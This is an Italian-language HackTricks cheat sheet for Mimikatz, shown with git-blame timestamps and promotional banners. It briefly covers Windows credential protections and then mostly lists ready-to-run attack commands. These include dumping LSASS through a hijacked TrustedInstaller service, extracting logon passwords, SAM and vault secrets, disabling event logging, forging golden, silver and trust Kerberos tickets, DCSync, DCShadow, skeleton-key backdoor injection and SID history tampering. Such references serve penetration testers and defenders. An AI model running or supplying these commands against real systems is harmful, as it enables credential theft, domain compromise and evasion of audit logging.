hacktricks/windows-hardening/stealing-credentials/credentials-mimikatz.md

211 lines
11 KiB
Markdown
Raw Normal View History

2022-08-13 23:06:40 +00:00
# Mimikatz
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:03:23 +00:00
**Questa pagina si basa su una pagina di [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Consulta l'originale per ulteriori informazioni!
2024-02-10 13:03:23 +00:00
## LM e testo in chiaro in memoria
2024-02-10 13:03:23 +00:00
A partire da Windows 8.1 e Windows Server 2012 R2, sono state implementate misure significative per proteggere contro il furto delle credenziali:
2024-02-10 13:03:23 +00:00
- **Le hash LM e le password in testo in chiaro** non vengono più memorizzate in memoria per migliorare la sicurezza. È necessario configurare una specifica impostazione del registro, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, con un valore DWORD di `0` per disabilitare l'autenticazione Digest, garantendo che le password "in chiaro" non vengano memorizzate nella memoria LSASS.
2024-02-10 13:03:23 +00:00
- **LSA Protection** è stata introdotta per proteggere il processo Local Security Authority (LSA) dalla lettura non autorizzata della memoria e dall'iniezione di codice. Questo viene realizzato contrassegnando LSASS come un processo protetto. L'attivazione di LSA Protection comporta:
1. Modificare il registro in _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ impostando `RunAsPPL` su `dword:00000001`.
2. Implementare un oggetto di criteri di gruppo (GPO) che impone questa modifica del registro su dispositivi gestiti.
2024-02-10 13:03:23 +00:00
Nonostante queste protezioni, strumenti come Mimikatz possono aggirare LSA Protection utilizzando driver specifici, anche se tali azioni sono probabilmente registrate nei log degli eventi.
2024-02-10 13:03:23 +00:00
### Contrasto alla rimozione di SeDebugPrivilege
2024-02-10 13:03:23 +00:00
Gli amministratori di solito hanno SeDebugPrivilege, che consente loro di eseguire il debug dei programmi. Questo privilegio può essere limitato per impedire il dump non autorizzato della memoria, una tecnica comune utilizzata dagli attaccanti per estrarre le credenziali dalla memoria. Tuttavia, anche con questo privilegio rimosso, l'account TrustedInstaller può ancora eseguire il dump della memoria utilizzando una configurazione del servizio personalizzata:
2024-02-08 03:06:37 +00:00
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
2024-02-10 13:03:23 +00:00
Questo consente di eseguire il dumping della memoria di `lsass.exe` su un file, che può poi essere analizzato su un altro sistema per estrarre le credenziali:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
2024-02-10 13:03:23 +00:00
## Opzioni di Mimikatz
2024-02-10 13:03:23 +00:00
La manipolazione dei log degli eventi in Mimikatz coinvolge due azioni principali: la cancellazione dei log degli eventi e la modifica del servizio Eventi per impedire la registrazione di nuovi eventi. Di seguito sono riportati i comandi per eseguire queste azioni:
2024-02-10 13:03:23 +00:00
#### Cancellazione dei log degli eventi
2024-02-10 13:03:23 +00:00
- **Comando**: Questa azione mira a eliminare i log degli eventi, rendendo più difficile tracciare attività malevole.
- Mimikatz non fornisce un comando diretto nella sua documentazione standard per cancellare i log degli eventi direttamente tramite la riga di comando. Tuttavia, la manipolazione dei log degli eventi di solito comporta l'uso di strumenti di sistema o script esterni a Mimikatz per cancellare log specifici (ad esempio, utilizzando PowerShell o Windows Event Viewer).
2024-02-10 13:03:23 +00:00
#### Funzionalità sperimentale: Modifica del servizio Eventi
2024-02-10 13:03:23 +00:00
- **Comando**: `event::drop`
- Questo comando sperimentale è progettato per modificare il comportamento del servizio di registrazione eventi, impedendo efficacemente la registrazione di nuovi eventi.
- Esempio: `mimikatz "privilege::debug" "event::drop" exit`
2024-02-10 13:03:23 +00:00
- Il comando `privilege::debug` garantisce che Mimikatz operi con i privilegi necessari per modificare i servizi di sistema.
- Il comando `event::drop` modifica quindi il servizio di registrazione eventi.
2024-02-10 13:03:23 +00:00
### Attacchi ai biglietti Kerberos
2024-02-10 13:03:23 +00:00
### Creazione di un Golden Ticket
2024-02-10 13:03:23 +00:00
Un Golden Ticket consente l'impersonificazione dell'accesso a livello di dominio. Comando chiave e parametri:
2024-02-10 13:03:23 +00:00
- Comando: `kerberos::golden`
- Parametri:
- `/domain`: Il nome del dominio.
- `/sid`: L'identificatore di sicurezza (SID) del dominio.
- `/user`: Il nome utente da impersonare.
- `/krbtgt`: L'hash NTLM dell'account di servizio KDC del dominio.
- `/ptt`: Inietta direttamente il biglietto in memoria.
- `/ticket`: Salva il biglietto per un uso successivo.
2024-02-10 13:03:23 +00:00
Esempio:
2024-02-08 03:06:37 +00:00
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
2024-02-10 13:03:23 +00:00
### Creazione di Silver Ticket
2024-02-10 13:03:23 +00:00
I Silver Ticket concedono l'accesso a servizi specifici. Ecco il comando chiave e i relativi parametri:
2024-02-10 13:03:23 +00:00
- Comando: Simile al Golden Ticket ma mira a servizi specifici.
- Parametri:
- `/service`: Il servizio da mirare (ad esempio, cifs, http).
- Altri parametri simili al Golden Ticket.
2024-02-10 13:03:23 +00:00
Esempio:
2024-02-08 03:06:37 +00:00
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
2024-02-10 13:03:23 +00:00
### Creazione di Trust Ticket
2024-02-10 13:03:23 +00:00
I Trust Ticket vengono utilizzati per accedere alle risorse tra domini sfruttando le relazioni di trust. Comando chiave e parametri:
2024-02-10 13:03:23 +00:00
- Comando: Simile a Golden Ticket ma per le relazioni di trust.
- Parametri:
- `/target`: L'FQDN del dominio di destinazione.
- `/rc4`: l'hash NTLM per l'account di trust.
2024-02-10 13:03:23 +00:00
Esempio:
2024-02-08 03:06:37 +00:00
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
2024-02-10 13:03:23 +00:00
### Comandi Kerberos aggiuntivi
2024-02-10 13:03:23 +00:00
- **Elenco dei ticket**:
- Comando: `kerberos::list`
- Elenca tutti i ticket Kerberos per la sessione utente corrente.
2024-02-10 13:03:23 +00:00
- **Passa la cache**:
- Comando: `kerberos::ptc`
- Inietta i ticket Kerberos dai file di cache.
- Esempio: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
2024-02-10 13:03:23 +00:00
- **Passa il ticket**:
- Comando: `kerberos::ptt`
- Consente di utilizzare un ticket Kerberos in un'altra sessione.
- Esempio: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
2024-02-10 13:03:23 +00:00
- **Pulisci i ticket**:
- Comando: `kerberos::purge`
- Cancella tutti i ticket Kerberos dalla sessione.
- Utile prima di utilizzare comandi di manipolazione dei ticket per evitare conflitti.
2024-02-10 13:03:23 +00:00
### Manipolazione di Active Directory
2024-02-10 13:03:23 +00:00
- **DCShadow**: Rendi temporaneamente una macchina un DC per la manipolazione degli oggetti AD.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
2024-02-10 13:03:23 +00:00
- **DCSync**: Simula un DC per richiedere dati sulla password.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
2024-02-10 13:03:23 +00:00
### Accesso alle credenziali
2024-02-10 13:03:23 +00:00
- **LSADUMP::LSA**: Estrae le credenziali da LSA.
- `mimikatz "lsadump::lsa /inject" exit`
2024-02-10 13:03:23 +00:00
- **LSADUMP::NetSync**: Si finge un DC utilizzando i dati sulla password di un account computer.
- *Nessun comando specifico fornito per NetSync nel contesto originale.*
2024-02-10 13:03:23 +00:00
- **LSADUMP::SAM**: Accede al database SAM locale.
- `mimikatz "lsadump::sam" exit`
2024-02-10 13:03:23 +00:00
- **LSADUMP::Secrets**: Decifra i segreti memorizzati nel registro.
- `mimikatz "lsadump::secrets" exit`
2024-02-10 13:03:23 +00:00
- **LSADUMP::SetNTLM**: Imposta un nuovo hash NTLM per un utente.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
2024-02-10 13:03:23 +00:00
- **LSADUMP::Trust**: Recupera le informazioni di autenticazione della trust.
- `mimikatz "lsadump::trust" exit`
2024-02-10 13:03:23 +00:00
### Varie
2024-02-10 13:03:23 +00:00
- **MISC::Skeleton**: Inietta un backdoor in LSASS su un DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
2024-02-10 13:03:23 +00:00
### Escalation dei privilegi
2024-02-10 13:03:23 +00:00
- **PRIVILEGE::Backup**: Acquisisce i diritti di backup.
- `mimikatz "privilege::backup" exit`
2024-02-10 13:03:23 +00:00
- **PRIVILEGE::Debug**: Ottiene i privilegi di debug.
- `mimikatz "privilege::debug" exit`
2024-02-10 13:03:23 +00:00
### Dumping delle credenziali
2024-02-10 13:03:23 +00:00
- **SEKURLSA::LogonPasswords**: Mostra le credenziali degli utenti connessi.
- `mimikatz "sekurlsa::logonpasswords" exit`
2024-02-10 13:03:23 +00:00
- **SEKURLSA::Tickets**: Estrae i ticket Kerberos dalla memoria.
- `mimikatz "sekurlsa::tickets /export" exit`
2024-02-10 13:03:23 +00:00
### Manipolazione di SID e token
2024-02-10 13:03:23 +00:00
- **SID::add/modify**: Modifica SID e SIDHistory.
- Aggiungi: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Modifica: *Nessun comando specifico per la modifica nel contesto originale.*
2024-02-10 13:03:23 +00:00
- **TOKEN::Elevate**: Si finge token.
- `mimikatz "token::elevate /domainadmin" exit`
2024-02-10 13:03:23 +00:00
### Servizi terminal
2024-02-10 13:03:23 +00:00
- **TS::MultiRDP**: Consente sessioni RDP multiple.
- `mimikatz "ts::multirdp" exit`
2024-02-10 13:03:23 +00:00
- **TS::Sessions**: Elenca le sessioni TS/RDP.
- *Nessun comando specifico fornito per TS::Sessions nel contesto originale.*
2022-08-13 23:06:40 +00:00
### Vault
2021-10-26 21:32:15 +00:00
2024-02-10 13:03:23 +00:00
- Estrae le password da Windows Vault.
- `mimikatz "vault::cred /patch" exit`
2021-10-26 21:32:15 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>